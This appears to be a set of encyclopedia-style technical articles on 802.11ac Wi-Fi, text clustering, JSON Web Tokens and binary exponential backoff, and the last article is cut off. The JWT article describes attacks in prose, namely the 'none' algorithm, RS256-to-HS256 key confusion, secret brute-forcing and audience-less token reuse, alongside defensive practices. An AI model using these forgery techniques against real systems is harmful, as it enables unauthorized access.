{"text":"# IEEE 802.11ac\n\n## Summary\n\n\nIEEE 802.11ac is a Wi-Fi standard for Very High Throughput (VHT) applications. It's a significant improvement over the earlier IEEE 802.11n while remaining backward compatible. It's designed only for the 5 GHz band. \n\nIt provides higher data rates, reaching a maximum of 6.9 Gbps. Explicit beamforming and MU-MIMO are two important features of 802.11ac that improves network capacity and efficiency. \n\nIt has a migration path towards IEEE 802.11ax.\n\n## Discussion\n\n### What are the typical use cases for 802.11ac?\n\nVideo consumption is on the rise. A 720p uncompressed video at 60 frames/sec needs 1.3 Gbps. A H.264 lightly compressed video needs 70-200 Mbps. IEEE 802.11n offer a theoretical 600 Mbps but practical rates available for application are lot less.\n\nThe number of devices in the home or office is also increasing. There's a need for multiple devices to connect to the same access point and utilize the channels more efficiently. This is particularly true for bring-your-own-device (BYOD) scenarios where each employee may bring multiple Wi-Fi devices to the office. \n\nIn general, 802.11ac aims to provide high data rates for video streaming, low latency experience and more efficient multiplexing of multiple clients. \n\n\n### What are main features of 802.11ac contributing to higher data rate?\n\nWhile 802.11n offers a maximum data rate of 600 Mbps, 802.11ac can offer 10x data rate due many improvements: \n\n    + **Channel Bonding**: Each channel is 20 MHz wide but with 802.11ac we can combine 8 of these to obtain 160 MHz channel for a single client. If available, contiguous channels are easily combined although standard defines 80+80 MHz mode to combine non-contiguous channels.\n    + **Higher Modulation**: The use of 256QAM is possible, 4x denser than 64QAM of 802.11n. This means that 4x more bits can be carried per symbol.\n    + **Spatial Streams**: Up to 8 spatial streams are possible, although Wave 2 certification covers only 4 spatial streams.The maximum data rate of 6.9 Gbps is obtained when using 160 MHz channels, 256 QAM, eight spatial streams and 400 ns guard interval. A handy reference comparing 802.11n and 802.11ac rates relative to SNR and RSSI is available online.\n\n\n### How is 802.11ac able to achieve better efficiency?\n\nFor better channel utilization and network efficiency, the following are useful:\n\n    + **5 GHz Band**: The use of 2.4 GHz band is avoided where interference is higher due to cordless phones, microwaves and other devices. The 5 GHz band is cleaner.\n    + **Enhanced RTS/CTS**: To avoid collisions due to the use of wider channels, RTS/CTS mechanism is extended.\n    + **A-MPDU**: For higher MAC layer throughput, all MAC frames are sent as Aggregate MAC Protocol Data Unit (A-MPDU), which was introduced in 802.11n for selective use.\n    + **MU-MIMO**: With Single-User Multiple-Input and Multiple-Output (SU-MIMO), only one client could send/receive at a particular time. Multi-User Multiple-Input and Multiple-Output (MU-MIMO) is able to multiplex multiple clients at the same time, thus reducing latency and improving overall network efficiency.\n    + **Beamforming**: Due to the use of MIMO and multiple antennas, beamforming is possible. Transmission is steered towards each client. This is made more efficient via explicit feedback from clients–using Null Data Packet (NDP)–for better channel estimation.\n\n### What are some trade-offs involved in using 802.11ac?\n\nDecision to trade-off one metric with another will depend on real-time network conditions. Moving from 40 MHz to 80 MHz aggregate bandwidth will increase data rate, but since the same power is spread across many more subcarriers, range will reduce. Obtaining a free channel 160 MHz wide is also difficult, especially in enterprise use cases. It's easier with 80+80 MHz mode but this requires twice as many RF chains. \n\nMoving from 64QAM to 256QAM is possible only over short distances (good signal-to-noise ratio) since the constellation is tighter and more sensitive to errors. \n\nBeamforming using Explicit Compressed Feedback (ECFB) gives a precise channel estimate but this feedback comes with a lot of overhead. Beamforming and MU-MIMO become less effective when clients are moving. \n\nIn terms of spatial streams, each stream requires its own antenna and RF chain. Although 8 streams are defined in the standard, often this is impractical in mobile devices since each antenna must be sufficiently spaced. \n\n\n### Could you explain 802.11ac MU-MIMO?\n\nSince 802.11n, SU-MIMO allows routers to send/receive multiple streams of data to/from clients. MU-MIMO is introduced in 802.11ac in the downlink. An access point can send data to multiple clients at the same time. For example, with three clients A, B and C, two streams may be sent to A, one stream to B and one stream to C simultaneously. Clients receiving single streams need not have multiple antennas or RF chains, which is often the case with small devices and smartphones. \n\nWith MU-MIMO, we get better network capacity utilization because a single client with not much to send can be multiplexed with other clients. Because multiple clients can be allowed to receive at the same time, latency also drops. Even non-MIMO clients will benefit since they can access the channel more easily. More device clients can be supported on the Wi-Fi network. \n\nIn 802.11ac, MU-MIMO is available only in the downlink. Another limitation is that access points might fallback to SU-MIMO if they detect that clients are moving, since MU-MIMO may not work well. \n\n\n### What are 802.11ac Wave 1 and Wave 2?\n\nThe idea of identifying two \"waves\" of 802.11ac products was to allow vendors to release their first 802.11ac products into the market quickly. Wave 2 is complex due to MU-MIMO, 160 MHz bandwidth support and four spatial streams. By defining Wave 1 without these features, we can still benefit from having 256QAM and 80 MHz bandwidth support that 802.11n lacked.\n\nFirst Wave 1 products started arriving in 2013. Certification for these also started in mid-2013. From 2014, all new products started supporting Wave 1. Early Wave 2 products arrived in 2015. Certification for Wave 2 started in mid-2016. \n\n## Milestones\n\nSep  \n2008\n\nWork on 802.11ac standardization formally commences with the approval of Project Allocation Request. \n\n2012\n\nDraft 2.0 of 802.11ac is released in January. A refined draft 3.0 is released in May. \n\nJun  \n2013\n\nWi-Fi Alliance announces certification process for 802.11ac Wave 1 products. \n\nDec  \n2013\n\n**IEEE 802.11ac-2013** standard is published. Along with IEEE 802.11ad-2012 that was standardized a year earlier, both are the result of the **Very High Throughput (VHT)** study group. \n\n2014\n\nQuantenna becomes the first to have a chipset that's capable of 4x4 MU-MIMO but without 160 MHz support. In April, Qualcomm Atheros also starts offering chipsets for MU-MIMO. In general, 802.11ac Wave 2 support arrives in 2014 whereas 2013 saw only 802.11ac Wave 1 support. \n\nJan  \n2015\n\nAt CES 2015, more chipsets and products capable of 802.11ac Wave 2 are announced. \n\nMay  \n2015\n\nWhat's probably the world's first 802.11ac router with MU-MIMO support, Linksys releases its EA8500. For best results, clients also need to support MU-MIMO. Some existing devices might support it with a firmware upgrade since their underlying chipsets have MU-MIMO support already. An example of this is ASUS RT-AC87U router released in August 2014. \n\nJun  \n2016\n\nWi-Fi Alliance announces certification process for 802.11ac Wave 2 products. \n\n2018\n\nCNET identifies some of the best 802.11ac routers. This includes brands Asus, Synology, D-Link and Netgear. Asus has multiple routers highly recommended by CNET.","meta":{"title":"IEEE 802.11ac","href":"ieee-802-11ac"}}
{"text":"# Text Clustering\n\n## Summary\n\n\nThe amount of text data being generated in the recent years has exploded exponentially. It's essential for organizations to have a structure in place to mine actionable insights from the text being generated. From social media analytics to risk management and cybercrime protection, dealing with textual data has never been more important.\n\nText clustering is the task of grouping a set of unlabelled texts in such a way that texts in the same cluster are more similar to each other than to those in other clusters. Text clustering algorithms process text and determine if natural clusters (groups) exist in the data.\n\n## Discussion\n\n### What's the principle behind text clustering?\n\nThe big idea is that documents can be represented numerically as vectors of features. The similarity in text can be compared by measuring the distance between these feature vectors. Objects that are near each other should belong to the same cluster. Objects that are far from each other should belong to different clusters.  \n\nEssentially, text clustering involves three aspects: \n\n    + Selecting a suitable distance measure to identify the proximity of two feature vectors.\n    + A criterion function that tells us that we've got the best possible clusters and stop further processing.\n    + An algorithm to optimize the criterion function. A greedy algorithm will start with some initial clustering and refine the clusters iteratively.\n\n### What are the use cases of text clustering?\n\nWe note a few use cases:\n\n    + **Document Retrieval**: To improve recall, start by adding other documents from the same cluster.\n    + **Taxonomy Generation**: Automatically generate hierarchical taxonomies for browsing content.\n    + **Fake News Identification**: Detect if a news is genuine or fake.\n    + **Language Translation**: Translation of a sentence from one language to another.\n    + **Spam Mail Filtering**: Detect unsolicited and unwanted email/messages.\n    + **Customer Support Issue Analysis**: Identify commonly reported support issues.\n\n### How is text clustering different from text classification?\n\nClassification is a supervised learning approach that maps an input to an output based on example input-output pairs. Clustering is a unsupervised learning approach.\n\n    + **Classification**: If the prediction value tends to be category like yes/no or positive/negative, then it falls under classification type problem in machine learning. The different classes are known in advance. For example, given a sentence, predict whether it's a negative or positive review.\n    + **Clustering**: Clustering is the task of partitioning the dataset into groups called clusters. The goal is to split up the data in such a way that points within single cluster are very similar and points in different clusters are different. It determines grouping among unlabelled data.\n\n### What are the types of clustering?\n\nBroadly, clustering can be divided into two groups:\n\n    + **Hard Clustering**: This groups items such that each item is assigned to only one cluster. For example, we want to know if a tweet is expressing a positive or negative sentiment. *k-means* is a hard clustering algorithm.\n    + **Soft Clustering**: Sometimes we don't need a binary answer. Soft clustering is about grouping items such that an item can belong to multiple clusters. *Fuzzy C Means (FCM)* is a soft clustering algorithm.\n\n### What are the steps involved in text clustering?\n\nAny text clustering approach involves broadly the following steps:\n\n    + **Text pre-processing**: Text can be noisy, hiding information between stop words, inflexions and sparse representations. Pre-processing makes the dataset easier to work with.\n    + **Feature Extraction**: One of the commonly used technique to extract the features from textual data is calculating the frequency of words/tokens in the document/corpus.\n    + **Clustering**: We can then cluster different text documents based on the features we have generated.\n\n### What are the steps involved in text pre-processing?\n\nBelow are the main components involved in pre-processing.\n\n    + **Tokenization**: Tokenization is the process of parsing text data into smaller units (tokens) such as words and phrases.\n    + **Transformation**: It converts the text to lowercase, removes all diacritics/accents in the text, and parses html tags.\n    + **Normalization**: Text normalization is the process of transforming a text into a canonical (root) form. Stemming and lemmatization techniques are used for deriving the root word.\n    + **Filtering**: Stop words are common words used in a language, such as 'the', 'a', 'on', 'is', or 'all'. These words do not carry important meaning for text clustering and are usually removed from texts.\n\n### What are the levels of text clustering?\n\nText clustering can be document level, sentence level or word level.\n\n    + **Document level**: It serves to regroup documents about the same topic. Document clustering has applications in news articles, emails, search engines, etc.\n    + **Sentence level**: It's used to cluster sentences derived from different documents. Tweet analysis is an example.\n    + **Word level**: Word clusters are groups of words based on a common theme. The easiest way to build a cluster is by collecting synonyms for a particular word. For example, WordNet is a lexical database for the English language that groups English words into sets of synonyms called *synsets*.\n\n### How do I define or extract textual features for clustering?\n\nIn general, *words* can be used to represent a common class of feature. *Word characteristics* are also features. For example, capitalization matters: US versus us, White House versus white house. *Part of speech* and *grammatical structure* also add to textual features. *Semantics* can be a textual feature: buy versus purchase. \n\nThe mapping from textual data to real-valued vectors is called feature extraction. One of the simplest techniques to numerically represent text is **Bag of Words (BOW)**. In BOW, we make a list of unique words in the text corpus called vocabulary. Then we can represent each sentence or document as a vector, with each word represented as *1 for presence* and *0 for absence*. \n\nAnother representation is to count the number of times each word appears in a document. The most popular approach is using the **Term Frequency-Inverse Document Frequency (TF-IDF)** technique. \n\nMore recently, word embeddings are being used to map words into feature vectors. A popular model for word embeddings is **word2vec**. \n\n\n### How can I measure similarity in text clustering?\n\nWords can be similar lexically or semantically: \n\n    + **Lexical similarity**: Words are similar lexically if they have a similar character sequence. Lexical similarity can be measured using string-based algorithms that operate on string sequences and character composition.\n    + **Semantic similarity**: Words are similar semantically if they have the same meaning, are opposite of each other, used in the same way, used in the same context or one is a type of another. Semantic similarity can be measured using corpus-based or knowledge-based algorithms.Some of the metrics for computing similarity between two pieces of text are *Jaccard coefficient*, *cosine similarity* and *Euclidean distance*.\n\n\n### Which are some common text clustering algorithms?\n\nIgnoring neural network models, we can identify different types: \n\n    + **Hierarchical**: In the *divisive* approach, we start with one cluster and split that into sub-clusters. Example algorithms include DIANA and MONA. In the *agglomerative* approach, each document starts as its own cluster and then we merge similar ones into bigger clusters. Examples include BIRCH and CURE.\n    + **Partitioning**: k-means is a popular algorithm but requires the right choice of *k*. Other examples are ISODATA and PAM.\n    + **Density**: Instead of using a distance measure, we form clusters based on how many data points fall within a given radius. DBSCAN is the most well-known algorithm.\n    + **Graph**: Some algorithms have made use of knowledge graphs to assess document similarity. This addresses the problem of polysemy (ambiguity) and synonymy (similar meaning).\n    + **Probabilistic**: A cluster of words belong to a topic and the task is to identify these topics. Words also have probabilities that they belong to a topic. *Topic Modelling* is a separate NLP task but it's similar to soft clustering. pLSA and LDA are example topic models.\n\n### How can I evaluate the efficiency of a text clustering algorithm?\n\nMeasuring the quality of a clustering algorithm has shown to be as important as the algorithm itself. We can evaluate it in two ways:\n\n    + **External quality measure**: External knowledge is required for measuring the external quality. For example, we can conduct surveys of users of the application that includes text clustering.\n    + **Internal quality measure**: The evaluation of the clustering is compared only with the result itself, that is, the structure of found clusters and their relations to one another. Two main concepts are compactness and separation. *Compactness* measures how closely data points are grouped in a cluster. *Separation* measures how different the found clusters are from each other. More formally, compactness is intra-cluster variance whereas separation is inter-cluster distance.\n\n### What are the common challenges involved in text clustering?\n\nDocument clustering is being studied for many decades. It's far from trivial or a solved problem. The challenges include the following: \n\n    + Selecting *appropriate features* of documents that should be used for clustering.\n    + Selecting an *appropriate similarity measure* between documents.\n    + Selecting an *appropriate clustering method* utilising the above similarity measure.\n    + *Implementing the clustering algorithm* in an efficient way that makes it feasible in terms of memory and CPU resources.\n    + Finding ways of *assessing the quality* of the performed clustering.\n\n\n## Milestones\n\n1971\n\nText mining research in general relies on a vector space model. Salton first proposes it to model text documents as vectors. Features are considered to be the words in the document collection and feature values come from different term weighting schemes, the most popular of which is the **Term Frequency-Inverse Document Frequency (TF-IDF)**. \n\n1983\n\nMassart et al. in the book *The Interpretation of Analytical Chemical Data by the Use of Cluster Analysis* introduces various clustering methods, including hierarchical and non-hierarchical methods. They show how clustering can be used to interpret large quantities of analytical data. They discuss how clustering is related to other pattern recognition techniques. \n\n1992\n\nCutting et al. adapt partition-based clustering algorithms to cluster documents. Two of the techniques are Buckshot and Fractionation. **Buckshot** selects a small sample of documents to pre-cluster them using a standard clustering algorithm and assigns the rest of the documents to the clusters formed. **Fractionation** finds k centres by initially breaking N documents into N/m buckets of a fixed size m > k. Each cluster is then treated as if it's an individual document and the whole process is repeated until there are only K clusters. \n\n1997\n\nHuang introduces **k-modes**, an extension to the well-known k-means algorithm for clustering numerical data. By defining the mode notion for categorical clusters and introducing an incremental update rule for cluster modes, the algorithm preserves the scaling properties of k-means. Naturally, it also inherits its disadvantages, such as dependence on the seed clusters and the inability to automatically detect the number of clusters. \n\n2008\n\nSun et al. develop a novel hierarchal algorithm for document clustering. They use cluster overlapping phenomenon to design cluster merging criteria. The system computes the overlap rate in order to improve time efficiency.","meta":{"title":"Text Clustering","href":"text-clustering"}}
{"text":"# JSON Web Token\n\n## Summary\n\n\nJSON is a data format commonly used in web applications. JSON Web Token (JWT) is a mechanism that brings **security to JSON data**. \n\nJSON grew in adoption from the mid-2000s. This influenced the adoption of JWT. Compared to alternatives such as XML or SAML, app developers found JWT easier to implement and use. JWTs are less verbose and more secure. By the late 2010s, JWTs were widely used in the world of cloud computing and microservices. \n\nJWT is available in two formats: JSON Web Signature (JWS) and JSON Web Encryption (JWE). JWS offers protection against data tampering (integrity). JWE prevents others from reading the data (confidentiality). Moreover, developers have a choice of various keys and algorithms to protect JSON data in either of these formats.\n\nIETF has published the main RFCs that cover JWTs. There are also plenty of open source implementations in many languages.\n\n## Discussion\n\n### How does JWT bring security to the web?\n\nConsider an application consisting of many services exposed to clients via APIs. We certainly don't want clients to authenticate with each service. Authentication is done by a specific service or server. Once authenticated successfully, the client should be able to access any of the services without further authentication. This is where JWTs can help. \n\nFor example, in AWS, Amazon Cognito does authentication. An authenticated client is issued a JWT. Whenever the client makes an API request, it presents this token. The API gateway validates the token before allowing the client to access the requested service. Thus, all relevant information is within the JWT. The API gateway need not contact the authentication server to determine if the client should be allowed access. \n\nFor authorized access, privileges can be set within the token. For example, the name-value pair `admin:true` could be set to allow deletion of records and other admin operations. Moreover, such privileges are set when the token is issued. The client or third-party hackers can't tamper with the token. \n\n\n### What are some use cases where JWT can be used?\n\nThe common use case of JWTs is **authorization**. For example, APIs often require an access token and this could be a JWT. Systems implementing Single Sign-On (SSO) can issue JWTs to allow the user to access various services. \n\nAssume a server authenticates a user and issues a single-use short-lived JWT. User uses this token to download a file from another server. In this example, JWT temporarily authorizes the user to download a protected resource. In microservices architecture, JWTs are used to pass authorization across services. OAuth 2.0 access tokens are JWTs. \n\nJWTs can be used for **authentication**. For example, in OpenID Connect (OIDC), users login with a JWT. Another example is to authenticate a SOAP request with JWT rather than SAML2 assertion. In Oracle Cloud, API gateway authenticates an API client based on the JWT it receives. Once validated, claims in the token are used to authorize the client. JWTs can be used to authenticate SPAs. \n\nDue to its protection against tampering and snooping, JWTs are a means to **exchange information securely**. \n\n\n### What are the main components of a signed JWT?\n\nA JWT has two essential components: header and payload. In practice, JWTs are signed, that is, they include a signature. This is what we call *JWS*. Thus, the three main components of a signed JWT are:  \n\n    + **Header**: Specifies the type of token (typically `JWT`) and the algorithm used.\n    + **Payload**: The main content of the token that includes a set of claims.\n    + **Signature**: This is computed from header and payload to protect the integrity of the token.Header and payload are JSON objects. However, these are not transmitted as such. They are Base64-URL encoded, which is similar to Base64 encoding except that characters special to URLs are replaced: `+` becomes `-`, `/` becomes `_`. \n\nSignature is computed as `BASE64URL(UTF8(JWS Protected Header)) || '.' || BASE64URL(JWS Payload)` and then Base64-URL encoded. \n\nThe JWS is constructed by concatenating header, payload, and signature. Period character separates the fields. We can represent this as `BASE64URL(UTF8(JWS Protected Header)) || '.' || BASE64URL(JWS Payload) || '.' || BASE64URL(JWS Signature)`. This format of JWS is called *JWS Compact Serialization*. There's also *JWS JSON Serialization* that can have multiple signatures. \n\n\n### What are JWT claims and how to specify such claims?\n\nThe payload of a JWT has a set of claims. A claim is a name-value pair. It states a fact about the token and its subject such as username or email address. Claims are not mandatory since JWTs are meant to be compact. It's up to applications to include claims that matter. \n\nSome claim names are **registered** with IANA. Examples include \"iss\" (issuer), \"sub\" (subject), and \"aud\" (audience). Some registered claim names are of datetime type: \"exp\" (token expires at this time), \"nbf\" (token can't be used before this time), and \"iat\" (time when token was issued). For example, `\"exp\":1300819380` says that the token expires at the specified timestamp. \n\nThere are also **public** or **private** claim names. These are application specific and their semantics are agreed between producer and consumer of the token. Public names must be collision-resistant. For example, a name based on domain name or Universally Unique IDentifier (UUID) is unlikely to collide with another public name. \n\n\n### Is it possible to encrypt the payload in a JWT?\n\nA signed token can be read by anyone. The purpose of signature is to prevent hackers from tampering with the header or payload. Any changes to these would result in a different signature, which the attacker can't create without the secret key. Such tampering would cause a failure during signature verification. \n\nIf the intention is to send sensitive payload, signature alone is inadequate. There's a need to encrypt the payload. This is where JWE format becomes relevant. \n\nEncryption of content uses symmetric keys. However, these keys need not be shared in advance. They can be generated dynamically and exchanged within JWE. However, the shared symmetric key is encrypted using asymmetric private-public key pair. \n\nIt's also possible to do both, such as a JWS within a JWE or vice versa. Such as token is called **Nested JWT**. For example, we could create a JWS as usual and encrypt it. This then becomes the encrypted payload of a JWE. A simpler approach is to use only encryption algorithms mentioned in JWA since they also provide integrity protection. \n\n\n### Which are the various algorithms supported by JWT?\n\nBoth symmetric and asymmetric algorithms are supported for signing and encrypting tokens. In fact, this support for a variety of algorithms is perhaps one reason for the wider adoption of JWTs. \n\nFor JWS, at the minimum, an implementation should support HMAC using SHA-256. This uses a shared symmetric key. For the \"alg\" header parameter, its value is \"HS256\". Apart from HMAC for signature, we can have digital signatures using asymmetric keys with RSASSA-PKCS1-v1\\_5, ECDSA, or RSASSA-PSS. Signing is done with the private key. Verification happens with the public key. \n\nFor content encryption in JWE, at the minimum, an implementation should support A128CBC-HS256 and A256CBC-HS512. A128CBC-HS256 does AES encryption in CBC mode with 128-bit IV value, plus HMAC authentication using SHA-256 and truncating HMAC to 128 bits. Encryption key is called Content Encryption Key (CEK). \n\nThe CEK itself is encrypted using other algorithms and included in the JWE. Some of these are RSA-OAEP, A128KW, ECDH-ES, ECDH-ES+A128KW, and more. It's also possible to use a shared symmetric key as CEK. \n\n\n### Can I use JWTs as a replacement to session objects?\n\nWith session objects, server maintains the state about each logged-in user, who gets a session ID via a HTTP cookie. Subsequent requests contain the session ID. Server uses it to retrieve the session object and serve the client. Thus, stateless HTTP calls are strung together into a stateful session. \n\nWith JWTs, server doesn't need to store session state. All relevant information is contained in the JWT. This also makes it convenient to deploy on a distributed architecture. One server might issue the JWT. Subsequent client requests could be served by another server via a load balancer. \n\nWhile JWTs seem attractive, a JWT takes more space compared to a session ID. Even without session objects, most client requests will still need access to the database, implying that JWTs don't improve performance. Most web frameworks automatically sign session cookies, implying that signing a JWT isn't really an advantage. JWTs stored on local storage can be less secure. We can't invalidate individual JWTs or deal with stale claims in the token. For these reasons, use of JWTs as an alternative to session IDs is not recommended. \n\n\n### Which are the known vulnerabilities of JWT?\n\nMost attacks on JWT are due to implementations rather than its design. \n\nSome early implementations used the \"alg\" value in header to verify the signature. An attacker could set the value to \"none\"; or change \"RS256\" to \"HS256\" and use the public key as the shared secret key to generate a valid signature. Based on the \"alg\" value, the consumer would skip verification or incorrectly find that the signature is valid.  \n\nBrute force attacks on HS256 are simple if the shared secret key is too short. Another possible oversight in implementations is not verifying the claims or not including adequate claims. For example, a token without audience is issued to Org1 but the attacker could present the same token to Org2 can gain access if that username exists in both organizations. \n\nDon't store sensitive information in JWS, that is, in unencrypted form. Don't also assume that encrypted data can't be tampered with. \n\nRFC8725 details many vulnerabilities and best practices to overcome the same. \n\n\n### What are some best practices when using JWT?\n\nPick strong keys. These are often long and created by cryptographic-quality pseudo-random number generators (PRNGs). Don't use human-readable shared secret keys. For federated identity, or when third-party services are involved, it's inconvenient and unsafe to use a shared secret. Instead, use public-private key pair. \n\nDon't rely on the header to select the algorithm for verifying the signature. Use libraries that allow for explicit selection of algorithm. \n\nIt's a good practice to verify applicable claims. For example, verify that token has not expired. In AWS we might verify that the audience claim matches the app client ID created in the Amazon Cognito user pool. Where nested tokens are used, verify signature on all tokens, not just on the outermost token. \n\nUse different validation rules for each token. Avoid key reuse for different tokens. For example, we could use different secret keys for each subsystem. Using \"kid\" claim, we could identify which secret key is used by the token. \n\nKeep the lifetime of tokens short, says for a few minutes or hours. In addition, we could include a nonce in the token to prevent replay attacks (which is what OpenID Connect does). \n\n\n### Could you mention some resources concerning JWT?\n\nIETF documents relevant to JWT include RFC7519: JSON Web Token (JWT), RFC7515: JSON Web Signature (JWS), RFC7516: JSON Web Encryption (JWE), RFC7517: JSON Web Key (JWK), RFC7518: JSON Web Algorithms (JWA), and RFC7797: JSON Web Signature (JWS) Unencoded Payload Option. \n\nIANA's JOSA page contains lists of registered header parameter names and algorithm names. \n\nPeyrott's JWT Handbook is worth reading. This book includes JavaScript code with explanations, which is a useful reference for developers. Another useful reference is a JWT cheatsheet published by Pragmatic Web Security.\n\nFor a simpler approach, developers can use third-party JWT libraries. These are available in many languages. Lists of JWT implementations are available at OpenID and at jwt.io. \n\nSite jwt.io offers a debugger to paste a JWT and view its decoded form. Optionally, signature verification is possible if you include the secret key. \n\n## Milestones\n\nApr  \n2001\n\nDouglas Crockford and Chip Morningstar send out what is historically the first JSON message. Since JSON is nothing more than plain JavaScript, Crockford himself states that probably this message format was in use as early as 1996. In July 2006, Crockford describes in RFC 4627 the JSON format and its MIME media type `application/json`. \n\n2005\n\nFrom the mid-2000s, the growth of Web 2.0 and the use REST APIs in web apps lead to wider adoption of JSON. The term AJAX itself is coined in 2005 but it's clear than AJAX is not limited to XML: JSON can be used instead. By late 2000s, with the increasing use of JSON on the web, it's recognized that standards are needed to offer security services in JSON format. \n\nDec  \n2010\n\nAs an Internet-Draft, **JSON Web Token (JWT)** is published at IETF. This document goes through multiple revisions, with the final draft revision appearing in December 2014. In May 2015, it becomes RFC7519.\n\nSep  \n2011\n\nAt IETF, the **Javascript Object Signing and Encryption (JOSE) Working Group** is formed. For better interoperability, the group aims to standardize the mechanism for integrity protection (signature and MAC), encryption, the format of keys and algorithm identifiers. \n\nMay  \n2015\n\nIETF publishes **RFC7519: JSON Web Token (JWT)** as a Proposed Standard. Other relevant RFCs are also published the same month: RFC7515: JWS, RFC7516: JWE, RFC7517: JWK, RFC7518: JWA. \n\nJul  \n2015\n\nOn Auth0 blog, a new logo for JWT is announced along with a redesigned website at jwt.io. The blog post also notes that interest in JWT has been increasing since 2013. By now, there are 972 JWT-related GitHub repositories and 2600+ threads on StackOverflow. It's also claimed that,\n\n> If you use Android, AWS, Microsoft Azure, Salesforce, or Google then chances are that you are already using JWT.\n\nFeb  \n2016\n\nIETF publishes **RFC7797: JSON Web Signature (JWS) Unencoded Payload Option** as a Proposed Standard. Typically, JWT payload is Base64-URL encoded. This document gives the option of skipping this encoding step. For example, a payload `$.02` is sent as it is rather than sending its encoded form of `JC4wMg`. Header parameter \"b64\" controls the use of this option and \"crit\" parameter facilitates backward compatibility. \n\nJul  \n2019\n\nJWTs stored in local or session storage are vulnerable to XSS attacks. On the other hand, JWTs stored in cookies are vulnerable to CSRF attacks. One blogger proposes to mitigate the risks by storing the signature in a HttpOnly, SameSite, Secure cookie. JWT header and payload are in local storage and transferred in HTTP header as a bearer token. The application server has to assemble the complete JWT from its parts. HttpOnly cookies are inaccessible to JavaScript.","meta":{"title":"JSON Web Token","href":"json-web-token"}}
{"text":"# Binary Exponential Backoff\n\n## Summary\n\n\nWhen multiple entities attempt to gain access to a shared resource, only one of them will succeed. Those who fail wait till the resource becomes available and then retry. But if everyone were to retry at the same time, quite possibly none of them will succeed. Moreover, new packets are arriving in addition to those waiting for retries.\n\n**Binary Exponential Backoff (BEB)** is an algorithm to determine how long entities should backoff before they retry. With every unsuccessful attempt, the maximum backoff interval is doubled. BEB prevents congestion and reduces the probability of entities requesting access at the same time, thereby improving system efficiency and capacity utilization.\n\nBEB was initially proposed for computer networking where multiple computers share a single medium or channel. It's most famously used in Ethernet and Wi-Fi networking standards.\n\n## Discussion\n\n### Where is binary exponential backoff useful?\n\nBEB is most useful in distributed systems without centralized control or systems that lack predetermined resource allocation. In such systems, multiple entities attempt to access a shared resource. Because there's no centralized control, whoever manages to grab the resource before anyone else will be allowed to use it. Others have to wait for their turn. \n\nThe problem is that when the resource becomes available, everyone else will attempt to grab it. This results in delays. Entities spend time trying to resolve the confusion. Resource utilization is therefore not optimal. The problem gets worse when many entities (dozens or hundreds) are involved.\n\nBEB is an algorithm that mitigates this problem. BEB is therefore useful in probabilistic systems. It's not useful in deterministic systems where the resource is allocated by a controller, each entity knows its turn and will use the resource at specific times and durations as allocated. \n\n\n### Could you explain how BEB works?\n\nConsider Wi-Fi as an example. Two Wi-Fi stations Sue and Mira want to send data to Arnold. When the stations access the channel at the same time, we say that it's a **collision**. Stations whose packets have just collided will initiate a backoff procedure. Every station maintains a number called **Contention Window (CW)**. The station will choose a random value within this window. This value, which is really the number of idle transmission slots that the station has to wait, is called the **Backoff Period**. During this period, these stations (Sue and Mira) cannot transmit. \n\nThe essence of BEB is that the backoff period is randomly selected within the CW. Each station will potentially have a different waiting time. They can't transmit until the backoff period has passed. Moreover, when another station gains access, backoff timer is paused. It's resumed only when the channel becomes idle again as determined by *Distributed Interframe Space (DIFS)*. \n\nWith every collision, the station will double its CW. This is why the prefix \"binary exponential\" is used. It's common to have minimum and maximum values for CW. \n\n\n### Could you share some facts or details about BEB?\n\nBEB doesn't eliminate collisions. By staggering the channel access due to random backoff, it reduces the *probability of collision*. It's possible that two nodes that collide may backoff the same amount and collide again when they retry. Collision can also happen with nodes that collided long ago and whose backoff just completed. \n\nIt may be argued that randomizing the backoff with every retry is enough to lower the collision probability. Why do we need to double the contention window (CW)? This is because new packets are getting generated and need to be transmitted in addition to collided packets. If CW is not increased, we'll have network congestion with more nodes vying for the channel within the same time. However, doubling the CW is not optimal when network load is low.\n\nOften minimum CW is non-zero, so that retrying nodes backoff at least some amount before retrying. Likewise, there's a maximum CW so that nodes are not starved due to long backoff periods.\n\n\n### What are some well-known applications of BEB?\n\nMedium Access Control (MAC) layer of networking protocols use BEB. For example, both Ethernet and Wi-Fi use Truncated BEB to set the contention window. Actual backoff is selected randomly within the contention window. Due to this randomization, the term *Randomized Exponential Backoff* is sometimes used.  \n\nTransmission Control Protocol (TCP) is a protocol that guarantees packet delivery by acknowledging correctly received packets. If acknowledgements are not received, the sender will retransmit the packet. Immediate retransmission can potentially congest the network. Hence, the sender uses BEB before retransmitting. \n\nIn a mobile ad hoc network, routes are discovered when required. It's possible for an attacker to flood the network with Route Request (RREQ) packets. One defence against this is BEB. RREQ packets that are seen too soon (not obeying BEB backoffs) are dropped. \n\nIn network applications, when a request fails due to contention, BEB with jitter is used for retries. Examples include access to AWS DynamoDB, or Google Cloud Storage. \n\nIn general, BEB and its variants are used in wired/wireless networks, transactional memory, lock acquisition, email retransmission, congestion control and many cloud computing scenarios. \n\n\n### What metrics are useful to measure the performance and stability of BEB?\n\nThe following metrics are commonly used:\n\n    + **Throughput**: This is the number of packets per second successfully sent over the channel. Algorithm is considered stable if the throughput does not collapse as the offered load goes to infinity. Offered load can be defined as number of nodes waiting to transmit or total packet arrival rate relative to channel capacity.\n    + **Delay**: Nodes that experience a collision, backoff and retry later. Delay increases as the channel experiences more packet collisions. Algorithm is considered stable if the delay is bounded.\n    + **Call Count**: This is the average number of retries needed to achieve a successful transmission.Other metrics useful during analysis include probability of collision \\(p\\_c\\) and probability that a node will transmit in an arbitrary time slot \\(p\\_t\\). Sometimes BEB is generalized to *exponential backoff*, with a *backoff factor* \\(r\\). With BEB, \\(r\\) is set to 2. It's been shown that the optimum backoff factor that maximizes asymptotic throughput is \\(1/(1-e^{-1})\\). \n\n\n### What's the Capture Effect that occurs with BEB?\n\n**Capture Effect** points to a lack of fairness for channel access. Nodes that experience collisions will be in their backoff procedures. New nodes entering the system have a higher chance to capture the channel. These new nodes can therefore transmit long sequences of packets while others are waiting for their backoffs to end. Even if old and new nodes collide, newer nodes will have shorter backoff and will therefore gain access more quickly. \n\nCapture effect has been studied for the Ethernet scenario. It was found that the effect is severe for small number of nodes and improves as more nodes contend for the channel. One proposed solution is to use **Capture Avoidance Binary Exponential Backoff (CABEB)**. \n\nCapture effect is different from **starvation effect**. With starvation, some nodes have little chance to transmit while most are able to transmit. With capture effect, a few nodes occupy the channel most of the time. \n\n\n### What are some variations of BEB?\n\nBy definition, BEB simply doubles the backoff with every collision. So two nodes that collide with their first attempt will most likely collide again since their retries coincide. For this reason, an element of randomness is added to the backoff. This could be termed 